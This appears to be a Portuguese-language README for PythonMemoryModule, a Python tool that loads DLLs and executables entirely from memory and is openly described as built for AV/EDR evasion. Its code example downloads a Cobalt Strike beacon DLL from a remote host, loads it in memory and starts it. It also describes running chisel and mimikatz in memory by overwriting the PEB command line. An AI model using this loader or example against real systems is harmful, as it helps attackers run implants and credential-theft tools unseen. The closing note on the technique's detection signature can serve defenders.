
implementação puramente em Python da técnica MemoryModule para carregar DLL e EXE não gerenciado inteiramente da memória
Implementação pura em Python da técnica MemoryModule para carregar uma dll ou executável não gerenciado inteiramente da memória
"Python memory module" imagem gerada por IA - hotpot.ai
PythonMemoryModule é uma adaptação em Python ctypes da técnica MemoryModule originalmente publicada por Joachim Bauch. Ela pode carregar uma dll ou executável não gerenciado usando Python sem exigir o uso de uma biblioteca externa (pyd) e possui suporte (parcial) para passagem de parâmetros de linha de comando.
Utiliza pefile para analisar cabeçalhos PE, PythonForWindows para acessar parâmetros de processo e ctypes para o trabalho pesado. A ferramenta foi originalmente pensada para ser usada como um módulo do Pyramid para fornecer evasão contra AV/EDR carregando payloads dll/exe no python.exe inteiramente da memória, porém outros casos de uso são possíveis (proteção de PI, carregamento de pyds em memória, spin-offs para outras técnicas mais furtivas), então decidi criar um repositório dedicado.
No exemplo a seguir, uma dll de beacon sem estágio do Cobalt Strike é baixada (não salva em disco), carregada em memória e iniciada chamando o ponto de entrada.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Nota: se você usar staging em seu perfil maleável, a dll não conseguirá carregar com LoadLibrary, portanto o MemoryModule não funcionará.

No exemplo a seguir, usamos a funcionalidade de passagem de linha de comando para executar o chisel em memória.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
Esta técnica foi implementada sobrescrevendo o parâmetro Commandline no PEB em tempo de execução. Isso não funcionará com todos os executáveis, pois depende de quais funções são usadas para passar argumentos.
Geralmente, para obter uma técnica universalmente funcional, seria necessário hookear GetCommandlineA, GetCommandlineW, __getmainargs e __wgetmainargs, já que a sobrescrita do PEB não cobre todos os casos. Mais detalhes aqui
Durante meus testes, descobri que o mimikatz e vários binários Go funcionam apenas com a sobrescrita do PEB; por outro lado, a passagem de linha de comando via sobrescrita do PEB sozinha para binários compilados com mingw e VS provavelmente não funcionará.
Usar a técnica MemoryModule respeitará, em sua maioria, as permissões das seções da DLL alvo e evitará a abordagem ruidosa RWX. No entanto, dentro da memória do programa, haverá um commit privado não respaldado por uma dll no disco, e isso é um sinal característico do MemoryModule.